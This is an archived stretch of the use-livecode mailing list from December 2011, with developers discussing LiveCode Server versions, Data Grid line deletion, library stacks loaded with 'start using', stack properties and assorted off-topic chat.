AM, Ken Ray wrote: >> Let's have a gathering at the next conference and confess our >> stupid moments. I bet we'd draw a huge crowd. We could give a "Most >> Stupid" award. I've got a really good entry. > > Sounds like a *great* idea! Not only will it be humorous, but it will > also be very informative. I'm in! Cool! I was half joking but let's really do it. I even have an idea about a prize. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From effendi at wanadoo.fr Thu Dec 15 15:15:36 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Thu, 15 Dec 2011 21:15:36 +0100 Subject: French Ears Message-ID: <6C8A7AE6-3A68-45B3-B4AA-B2B2DEA283C3@wanadoo.fr> Hi from a very French Brittany, Thierry wrote : >> >> I hadn't heard the expression "tonic accent" before either. > > I've always used the expression "sentence stress" (or word stress), >> > In French we call it: "Accent tonique" > > So, guess it was a word to word translation. Merci, Thierry pour m'avoir sorti de la m***e I may have been in this country far too long ! If I begin to forget my mother tongue ....... But I must admit I get joy every day when using this beautiful language ....... Best Regards -Francis From mwieder at ahsoftware.net Thu Dec 15 15:26:59 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 12:26:59 -0800 Subject: Clearing Contents of Field In-Reply-To: <4EEA516D.60605@hyperactivesw.com> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> Message-ID: <143439283406.20111215122659@ahsoftware.net> Jacque- Thursday, December 15, 2011, 11:58:37 AM, you wrote: > On 12/15/11 11:17 AM, Bob Sneidar wrote: >> Be advised that there are properties that still remain hidden using >> this function (or so it was back when I last used it). > I think the "hidden" ones are just those that are already available in > the others. For example, "top" is not included because it is part of > "rect". Or are there others? antialiased fillgradient strokegradient innershadow innerglow outerglow dropshadow coloroverlay Bug #8884. -- -Mark Wieder mwieder at ahsoftware.net From alex at tweedly.net Thu Dec 15 15:41:06 2011 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 15 Dec 2011 20:41:06 +0000 Subject: Livecode Server version (wrt. on-rev) Message-ID: <4EEA5B62.8090706@tweedly.net> I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to my surprise) still using 4.6.4 of LCserver. Is there any way in the script (or anywhere else) to tell it to use a 5.0 version ? Or any other way to do the equivalent of "start session", "stop session", etc. ? Thanks, -- Alex. From andre at andregarzia.com Thu Dec 15 15:53:17 2011 From: andre at andregarzia.com (Andre Garzia) Date: Thu, 15 Dec 2011 18:53:17 -0200 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4EEA5B62.8090706@tweedly.net> References: <4EEA5B62.8090706@tweedly.net> Message-ID: Alex, What extension are you using? Try using .lc and check the version again! =) On Thu, Dec 15, 2011 at 6:41 PM, Alex Tweedly wrote: > > I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to > my surprise) still using 4.6.4 of LCserver. > > Is there any way in the script (or anywhere else) to tell it to use a 5.0 > version ? > Or any other way to do the equivalent of "start session", "stop session", > etc. ? > > Thanks, > -- Alex. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From jpottsx1 at gmail.com Thu Dec 15 16:22:36 2011 From: jpottsx1 at gmail.com (Potts Jeff) Date: Thu, 15 Dec 2011 16:22:36 -0500 Subject: French Ears In-Reply-To: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> Message-ID: This website is a more neutral sounding French accent, but it sounds a little stilted. A french Canadian accent will not be appreciated by the rest of the French speaking world as real French. I have lived and worked in Quebec city and it has its own distinct accents right down to the various neighborhoods. I would avoid the French Canadian thing if your peupose is for distribution to a World French market rather than a distinctly French Canadian market. On Wed, Dec 14, 2011 at 1:08 PM, Michael Kann wrote: > I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. > > Here's the site: > > http://imtranslator.net/translate-and-speak/ > > Thank you, > > Michael Kann > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 15 16:24:07 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 15:24:07 -0600 Subject: Clearing Contents of Field In-Reply-To: <143439283406.20111215122659@ahsoftware.net> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> Message-ID: <4EEA6577.3000503@hyperactivesw.com> On 12/15/11 2:26 PM, Mark Wieder wrote: > Jacque- > > Thursday, December 15, 2011, 11:58:37 AM, you wrote: > >> On 12/15/11 11:17 AM, Bob Sneidar wrote: >>> Be advised that there are properties that still remain hidden using >>> this function (or so it was back when I last used it). > >> I think the "hidden" ones are just those that are already available in >> the others. For example, "top" is not included because it is part of >> "rect". Or are there others? > > antialiased > fillgradient > strokegradient > innershadow > innerglow > outerglow > dropshadow > coloroverlay > > Bug #8884. > Ah thanks. I get it. The new ones. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mcgrath3 at mac.com Thu Dec 15 16:37:30 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 15 Dec 2011 16:37:30 -0500 Subject: [iOs] No rotation in Simulator Message-ID: <379A63BA-11D4-429C-A320-569D1865A269@mac.com> I am using LC 5.0.2 and built a simple new stack with 1024x1024 with one button. I build for iPhone,iPad,iPod and 3.2 with all orientations checked in the standalone settings. Anyway, If I launch on the iPad when I rotate the simulator the screen rotates But not on the iPhone or Retina simulators. Can anyone explain this or confirm this? -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net From matthias_livecode_150811 at m-r-d.de Thu Dec 15 16:38:32 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 15 Dec 2011 22:38:32 +0100 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4EEA5B62.8090706@tweedly.net> References: <4EEA5B62.8090706@tweedly.net> Message-ID: <32E8504F-1259-4E19-B7BE-DE007B105B38@m-r-d.de> Alex, was version 5 installed on loki systemwide by runrev? Did you get a note about that? If not, then you have to install it manually to your account. Regards, Matthias Am 15.12.2011 um 21:41 schrieb Alex Tweedly: > > I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to my surprise) still using 4.6.4 of LCserver. > > Is there any way in the script (or anywhere else) to tell it to use a 5.0 version ? > Or any other way to do the equivalent of "start session", "stop session", etc. ? > > Thanks, > -- Alex. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Thu Dec 15 16:44:15 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 15 Dec 2011 22:44:15 +0100 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4EEA5B62.8090706@tweedly.net> References: <4EEA5B62.8090706@tweedly.net> Message-ID: <5251FF85-9130-4219-B7AC-14993C0A4855@m-r-d.de> Alex, was version 5 installed on loki systemwide by runrev? Did you get a note about that? If not, then you have to install it manually to your account. Regards, Matthias Am 15.12.2011 um 21:41 schrieb Alex Tweedly: > > I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to my surprise) still using 4.6.4 of LCserver. > > Is there any way in the script (or anywhere else) to tell it to use a 5.0 version ? > Or any other way to do the equivalent of "start session", "stop session", etc. ? > > Thanks, > -- Alex. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Thu Dec 15 16:57:00 2011 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 15 Dec 2011 21:57:00 +0000 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: References: <4EEA5B62.8090706@tweedly.net> Message-ID: <4EEA6D2C.6050003@tweedly.net> I'm afraid it's not that simple. ;-) I expected .irev to be 4.6 and .lc to be 5.0, but in fact .irev ---> 3.5.0 .lc ---> 4.6.4 //www.tweedly.org/t.irev and t.lc Thanks -- Alex. On 15/12/2011 20:53, Andre Garzia wrote: > Alex, > > What extension are you using? Try using .lc and check the version again! > > =) > > On Thu, Dec 15, 2011 at 6:41 PM, Alex Tweedly wrote: > >> I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to >> my surprise) still using 4.6.4 of LCserver. >> >> Is there any way in the script (or anywhere else) to tell it to use a 5.0 >> version ? >> Or any other way to do the equivalent of "start session", "stop session", >> etc. ? >> >> Thanks, >> -- Alex. >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > From matthias_livecode_150811 at m-r-d.de Thu Dec 15 16:59:59 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 15 Dec 2011 22:59:59 +0100 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4EEA6D2C.6050003@tweedly.net> References: <4EEA5B62.8090706@tweedly.net> <4EEA6D2C.6050003@tweedly.net> Message-ID: <4E955600-C8AE-4634-BF64-007B9EC5257E@m-r-d.de> Hi Alex, you can install LiveCodeServer 5.0 manually into your account. There is a lesson at http://lessons.runrev.com/s/lessons/m/4070/l/41105-How-do-I-choose-which-LiveCode-Server-engine-to-use-with-On-Rev- Regards, Matthias Am 15.12.2011 um 22:57 schrieb Alex Tweedly: > I'm afraid it's not that simple. ;-) > I expected .irev to be 4.6 and .lc to be 5.0, but in fact > > .irev ---> 3.5.0 > .lc ---> 4.6.4 > > //www.tweedly.org/t.irev and t.lc > > Thanks > -- Alex. > On 15/12/2011 20:53, Andre Garzia wrote: >> Alex, >> >> What extension are you using? Try using .lc and check the version again! >> >> =) >> >> On Thu, Dec 15, 2011 at 6:41 PM, Alex Tweedly wrote: >> >>> I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to >>> my surprise) still using 4.6.4 of LCserver. >>> >>> Is there any way in the script (or anywhere else) to tell it to use a 5.0 >>> version ? >>> Or any other way to do the equivalent of "start session", "stop session", >>> etc. ? >>> >>> Thanks, >>> -- Alex. >>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >> >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Thu Dec 15 17:01:59 2011 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 15 Dec 2011 22:01:59 +0000 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <32E8504F-1259-4E19-B7BE-DE007B105B38@m-r-d.de> References: <4EEA5B62.8090706@tweedly.net> <32E8504F-1259-4E19-B7BE-DE007B105B38@m-r-d.de> Message-ID: <4EEA6E57.4030501@tweedly.net> Seems like it wasn't. I didn't get any note, afaik. Any idea how to install it manually ? I can't see anything in cPanel, or in any of the (brief) docs I've got about on-rev. Annoyingly enough, cPanel tells me the version of PHP, but not of LC Server - though as far as I can see, it doesn't allow me to install different versions of either anyway. -- Alex. On 15/12/2011 21:38, Matthias Rebbe wrote: > Alex, > > was version 5 installed on loki systemwide by runrev? Did you get a note about that? > If not, then you have to install it manually to your account. > > Regards, > > Matthias > > > Am 15.12.2011 um 21:41 schrieb Alex Tweedly: > >> I'm using on-rev (specifically loki.on-rev.com) for my website. It is (to my surprise) still using 4.6.4 of LCserver. >> >> Is there any way in the script (or anywhere else) to tell it to use a 5.0 version ? >> Or any other way to do the equivalent of "start session", "stop session", etc. ? >> >> Thanks, >> -- Alex. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From keith at gulfbreezeortholab.com Thu Dec 15 17:26:03 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 15 Dec 2011 16:26:03 -0600 Subject: A Question about DeleteLine and DeleteLines Message-ID: Hi All, A quick question for you. In the Data Grid Manual (i.e., LiveCode_Data_Grid.pdf) it states regarding DeleteLines: Deletes the specified lines from the data grid. pLines is a comma delimited list of integers. When I try this in one of my projects, only one line is deleted from the data grid... I have to repeat with each item to delete it... The aforementioned documentation makes it sound like it is supposed to delete each item in the comma delimited list, or am I wrong? Thanks, - Boo From alex at tweedly.net Thu Dec 15 17:32:52 2011 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 15 Dec 2011 22:32:52 +0000 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4E955600-C8AE-4634-BF64-007B9EC5257E@m-r-d.de> References: <4EEA5B62.8090706@tweedly.net> <4EEA6D2C.6050003@tweedly.net> <4E955600-C8AE-4634-BF64-007B9EC5257E@m-r-d.de> Message-ID: <4EEA7594.8070209@tweedly.net> If I believe that lesson, the latest version installed is always available as simply "livecode-server", so it should "just work". I tried specifying individual versions, but none of 5.0.0, 5.0.1 or 5.0.2 are there. I guess it's time for an email to support. Thanks for your help, -- Alex On 15/12/2011 21:59, Matthias Rebbe wrote: > Hi Alex, > > you can install LiveCodeServer 5.0 manually into your account. > > There is a lesson at > http://lessons.runrev.com/s/lessons/m/4070/l/41105-How-do-I-choose-which-LiveCode-Server-engine-to-use-with-On-Rev- > > Regards, > > Matthias > From mike at doub.com Thu Dec 15 17:36:42 2011 From: mike at doub.com (Michael Doub) Date: Thu, 15 Dec 2011 17:36:42 -0500 Subject: Ins and Outs of start using Message-ID: Can someone help me understand the proper usage of start using? I have a stack that contains a number of scripts that I would like to use as part of a library. I keep running into a failure situation where the stack that I wish to "start using" can't be found. I have the main stack and the library stack in the same directory. In the code below, what directory is xyz.livecode expected to be in? with the engine? with the main stack? I have been able to force it to work by always coding the complete path but I have see the code used by others and I would like to clearly understand the default behaviours. Thanks Mike try start using stack "xyz.livecode" -- the filename end try set the wholeMatches to true if ("xyz" is not among the lines of the StacksInUse) \ -- the stack name of the library in the file then start using stack "xyz" From matthias_livecode_150811 at m-r-d.de Thu Dec 15 17:47:35 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 15 Dec 2011 23:47:35 +0100 Subject: Livecode Server version (wrt. on-rev) In-Reply-To: <4EEA7594.8070209@tweedly.net> References: <4EEA5B62.8090706@tweedly.net> <4EEA6D2C.6050003@tweedly.net> <4E955600-C8AE-4634-BF64-007B9EC5257E@m-r-d.de> <4EEA7594.8070209@tweedly.net> Message-ID: Alex, yes, because of that i told you that you can manually install it into your account. But i forgot, that you have to own a license for livecode-server. Please excuse. But in the case that you own a license for LCS5 than you could manually install it. It?s pretty easy. Regards, Matthias Am 15.12.2011 um 23:32 schrieb Alex Tweedly: > If I believe that lesson, the latest version installed is always available as simply "livecode-server", so it should "just work". > > I tried specifying individual versions, but none of 5.0.0, 5.0.1 or 5.0.2 are there. > > I guess it's time for an email to support. > > Thanks for your help, > -- Alex > > On 15/12/2011 21:59, Matthias Rebbe wrote: >> Hi Alex, >> >> you can install LiveCodeServer 5.0 manually into your account. >> >> There is a lesson at >> http://lessons.runrev.com/s/lessons/m/4070/l/41105-How-do-I-choose-which-LiveCode-Server-engine-to-use-with-On-Rev- >> >> Regards, >> >> Matthias >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From zryip.theslug at gmail.com Thu Dec 15 18:06:16 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Fri, 16 Dec 2011 00:06:16 +0100 Subject: A Question about DeleteLine and DeleteLines In-Reply-To: References: Message-ID: On Thu, Dec 15, 2011 at 11:26 PM, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, Hi Keith, > A quick question for you. In the Data Grid Manual (i.e., LiveCode_Data_Grid.pdf) it states regarding DeleteLines: > > > ?Deletes the specified lines from the data grid. pLines is a comma delimited list of integers. > When I try this in one of my projects, only one line is deleted from the data grid... I have to repeat with each item to delete it... > > The aforementioned documentation makes it sound like it is supposed to delete each item in the comma delimited list, or am I wrong? The command should work as described in the documentation. Add this code in a delete button: try dispatch "DeleteLines" to grp "myDatagrid" with the dgHilitedLines of grp "myDatagrid" catch tTheError answer tTheError end try Where myDatagrid is the name of your datagrid group. Select some lines in the datagrid and click on the delete button. What is the result? Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From keith at gulfbreezeortholab.com Thu Dec 15 19:00:52 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 15 Dec 2011 18:00:52 -0600 Subject: A Question about DeleteLine and DeleteLines In-Reply-To: References: Message-ID: Ohhhhh! I was using send in lieu of dispatch! Dispatch does the trick. Thanks so much for the input (still learning here!)... This list rocks! Cheers from Florida, - Boo -----Original Message----- From: zryip theSlug Sent: Thursday, December 15, 2011 5:06 PM To: How to use LiveCode Subject: Re: A Question about DeleteLine and DeleteLines On Thu, Dec 15, 2011 at 11:26 PM, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, Hi Keith, > A quick question for you. In the Data Grid Manual (i.e., > LiveCode_Data_Grid.pdf) it states regarding DeleteLines: > > > Deletes the specified lines from the data grid. pLines is a comma > delimited list of integers. > When I try this in one of my projects, only one line is deleted from the > data grid... I have to repeat with each item to delete it... > > The aforementioned documentation makes it sound like it is supposed to > delete each item in the comma delimited list, or am I wrong? The command should work as described in the documentation. Add this code in a delete button: try dispatch "DeleteLines" to grp "myDatagrid" with the dgHilitedLines of grp "myDatagrid" catch tTheError answer tTheError end try Where myDatagrid is the name of your datagrid group. Select some lines in the datagrid and click on the delete button. What is the result? Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Thu Dec 15 19:02:11 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 15 Dec 2011 18:02:11 -0600 Subject: Ins and Outs of start using In-Reply-To: References: Message-ID: <87204ABC-D226-492F-8577-5B3810188983@sonsothunder.com> On Dec 15, 2011, at 4:36 PM, Michael Doub wrote: > Can someone help me understand the proper usage of start using? I have a stack that contains a number of scripts that I would like to use as part of a library. I keep running into a failure situation where the stack that I wish to "start using" can't be found. I have the main stack and the library stack in the same directory. > > In the code below, what directory is xyz.livecode expected to be in? with the engine? with the main stack? I have been able to force it to work by always coding the complete path but I have see the code used by others and I would like to clearly understand the default behaviours. It is in the location identified by "the defaultFolder" (or "the directory"). This is automatically set to the folder containing the application that's currently running the engine unless it is changed to some where else with "set the defaultFolder to ". A common implementation is to set the defaultFolder to the folder that contains the first stack you open (so you can refer to all others by relative paths): on preOpenStack -- of the first stack you open set the itemDel to "/" put item 1 to -2 of the fileName of this stack into tMyFolder set the itemDel to "," set the defaultFolder to tMyFolder : -- etc. end preOpenStack HTH, Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From mwieder at ahsoftware.net Thu Dec 15 19:03:32 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 16 Dec 2011 00:03:32 +0000 (UTC) Subject: Clearing Contents of Field References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> <4EEA6577.3000503@hyperactivesw.com> Message-ID: J. Landman Gay writes: > *new* LOL. A bit over three years ago. -- Mark Wieder From bobs at twft.com Thu Dec 15 19:04:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 16:04:31 -0800 Subject: Ins and Outs of start using In-Reply-To: References: Message-ID: Make sure the stack is listed in the stack files section of the stack properties inspector. Bob On Dec 15, 2011, at 2:36 PM, Michael Doub wrote: > Can someone help me understand the proper usage of start using? I have a stack that contains a number of scripts that I would like to use as part of a library. I keep running into a failure situation where the stack that I wish to "start using" can't be found. I have the main stack and the library stack in the same directory. > > In the code below, what directory is xyz.livecode expected to be in? with the engine? with the main stack? I have been able to force it to work by always coding the complete path but I have see the code used by others and I would like to clearly understand the default behaviours. > > Thanks > Mike > > > > try > start using stack "xyz.livecode" -- the filename > end try > set the wholeMatches to true > if ("xyz" is not among the lines of the StacksInUse) \ -- the stack name of the library in the file > then start using stack "xyz" > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 15 19:12:52 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 18:12:52 -0600 Subject: Clearing Contents of Field In-Reply-To: References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> <4EEA6577.3000503@hyperactivesw.com> Message-ID: <4EEA8D04.4090403@hyperactivesw.com> On 12/15/11 6:03 PM, Mark Wieder wrote: > J. Landman Gay writes: > >> *new* > > LOL. A bit over three years ago. > Hey, when you're OUR age... -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Thu Dec 15 19:36:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 16:36:14 -0800 Subject: Clearing Contents of Field In-Reply-To: <4EEA8D04.4090403@hyperactivesw.com> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> <4EEA6577.3000503@hyperactivesw.com> <4EEA8D04.4090403@hyperactivesw.com> Message-ID: <4D728C7A-7A81-48A5-8570-07FBC2FFA528@twft.com> He will be Soylent Green long before he gets there. Bob On Dec 15, 2011, at 4:12 PM, J. Landman Gay wrote: > On 12/15/11 6:03 PM, Mark Wieder wrote: >> J. Landman Gay writes: >> >>> *new* >> >> LOL. A bit over three years ago. >> > > Hey, when you're OUR age... > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Thu Dec 15 19:50:55 2011 From: mike at doub.com (mike at doub.com) Date: Fri, 16 Dec 2011 00:50:55 +0000 Subject: Ins and Outs of start using In-Reply-To: References: Message-ID: <1070815616-1323996656-cardhu_decombobulator_blackberry.rim.net-463376371-@b27.c31.bise6.blackberry> Thanks to both Bob and Ken. I think this explains why is see different behaviors when I double click on a stack to start up vs opening the stack from livecode development environment. Regards, Mike Sent from my BlackBerry device on the Rogers Wireless Network -----Original Message----- From: Bob Sneidar Sender: use-livecode-bounces at lists.runrev.com Date: Thu, 15 Dec 2011 16:04:31 To: How to use LiveCode Reply-To: How to use LiveCode Subject: Re: Ins and Outs of start using Make sure the stack is listed in the stack files section of the stack properties inspector. Bob On Dec 15, 2011, at 2:36 PM, Michael Doub wrote: > Can someone help me understand the proper usage of start using? I have a stack that contains a number of scripts that I would like to use as part of a library. I keep running into a failure situation where the stack that I wish to "start using" can't be found. I have the main stack and the library stack in the same directory. > > In the code below, what directory is xyz.livecode expected to be in? with the engine? with the main stack? I have been able to force it to work by always coding the complete path but I have see the code used by others and I would like to clearly understand the default behaviours. > > Thanks > Mike > > > > try > start using stack "xyz.livecode" -- the filename > end try > set the wholeMatches to true > if ("xyz" is not among the lines of the StacksInUse) \ -- the stack name of the library in the file > then start using stack "xyz" > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From th.douez at gmail.com Thu Dec 15 20:19:48 2011 From: th.douez at gmail.com (Thierry Douez) Date: Fri, 16 Dec 2011 02:19:48 +0100 Subject: French Ears In-Reply-To: <6C8A7AE6-3A68-45B3-B4AA-B2B2DEA283C3@wanadoo.fr> References: <6C8A7AE6-3A68-45B3-B4AA-B2B2DEA283C3@wanadoo.fr> Message-ID: 2011/12/15 Francis Nugent Dixon Hi from a very French Brittany, > > Thierry wrote : > > > I hadn't heard the expression "tonic accent" before either. >>> >> >> I've always used the expression "sentence stress" (or word stress), >> >>> >>> In French we call it: "Accent tonique" >> >> So, guess it was a word to word translation. >> > > > Merci, Thierry pour m'avoir sorti de la m***e > pas de problemes :) For this, I have a good friend : http://www.linguee.fr/francais-anglais Very powerful and easy to use. HTH, Thierry From mwieder at ahsoftware.net Thu Dec 15 21:11:32 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 18:11:32 -0800 Subject: cantDelete Message-ID: <197459958984.20111215181132@ahsoftware.net> All- Am I missing something here? This might be one of those in-the-running stupid moments. Does setting the cantDelete property of a stack actually do anything? I thought it prevented a mainstack from being removed from memory with a delete command, but it doesn't do that. I've read the documentation a couple of times now and I can't see what I'm missing. Second question: since cantDelete doesn't do what I want, is there a different way to prevent the delete function from removing a mainstack from memory? What I'm trying to do is keep a stack in memory even if the following is executed put the openstacks into tStacks repeat for each line tStack in tStacks delete stack tStack end repeat -- -Mark Wieder mwieder at ahsoftware.net From gmcrev at tpg.com.au Thu Dec 15 21:28:22 2011 From: gmcrev at tpg.com.au (gmcrev) Date: Fri, 16 Dec 2011 13:28:22 +1100 Subject: Pages per Sheet setting for open printing to pdf Message-ID: <4EEAACC6.2050707@tpg.com.au> I am wondering whether it would be useful to request for a new command that would set the number of pages per sheet for printing. ie. 2 A4 pages would be reduced and printed on 1 A4 page. I can't seem to find any livecode commands to do this. This can be currently be done when doing any printing from any program using the Adobe pdf printer via its dialog box. In livecode, I would like to be able to use this with "open printing to pdf". Then I could print 2 pages per sheet in pdf format. -- Gerard McCarthy gmcrev at tpg.com.au From m.schonewille at economy-x-talk.com Thu Dec 15 21:41:49 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 16 Dec 2011 03:41:49 +0100 Subject: [OT] StuffIt Deluxe for free Message-ID: Hi guys. Although this is a completely obsolete product nowadays, there may still be people who have some old .sit files laying around. If you do, you might be happy to know that StuffIt Deluxe is available for free until 18 December. Get it here http://qery.us/1ej . -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From scott at tactilemedia.com Thu Dec 15 22:11:17 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 15 Dec 2011 19:11:17 -0800 Subject: [OT] StuffIt Deluxe for free In-Reply-To: Message-ID: Funny, just today I had to decompress a password-protected ZIP file, and while Apple's Archive Utility apparently doesn't understand passwords, Stuffit does. Regards, Scott Rossi Creative Director Tactile Media, UX Design Recently, Mark Schonewille wrote: > Hi guys. > > Although this is a completely obsolete product nowadays, there may still be > people who have some old .sit files laying around. If you do, you might be > happy to know that StuffIt Deluxe is available for free until 18 December. Get > it here http://qery.us/1ej . > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter > today. 20% commission! > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Thu Dec 15 22:25:34 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 19:25:34 -0800 Subject: [OT] StuffIt Deluxe for free In-Reply-To: References: Message-ID: <87464400625.20111215192534@ahsoftware.net> Scott- Thursday, December 15, 2011, 7:11:17 PM, you wrote: > Funny, just today I had to decompress a password-protected ZIP file, and > while Apple's Archive Utility apparently doesn't understand passwords, > Stuffit does. Hee. Last week I had to unstuff a .sit file that was stored as an .hqx file. And since I was on a linux machine I had a jolly time of it. Finally managed to find an older version of Stuffit Expander to load into a Windows Virtualbox vm, do the job, and delete the Stuffit thing as soon as I could. -- -Mark Wieder mwieder at ahsoftware.net From coiin at verizon.net Thu Dec 15 22:28:08 2011 From: coiin at verizon.net (Colin Holgate) Date: Thu, 15 Dec 2011 22:28:08 -0500 Subject: [OT] 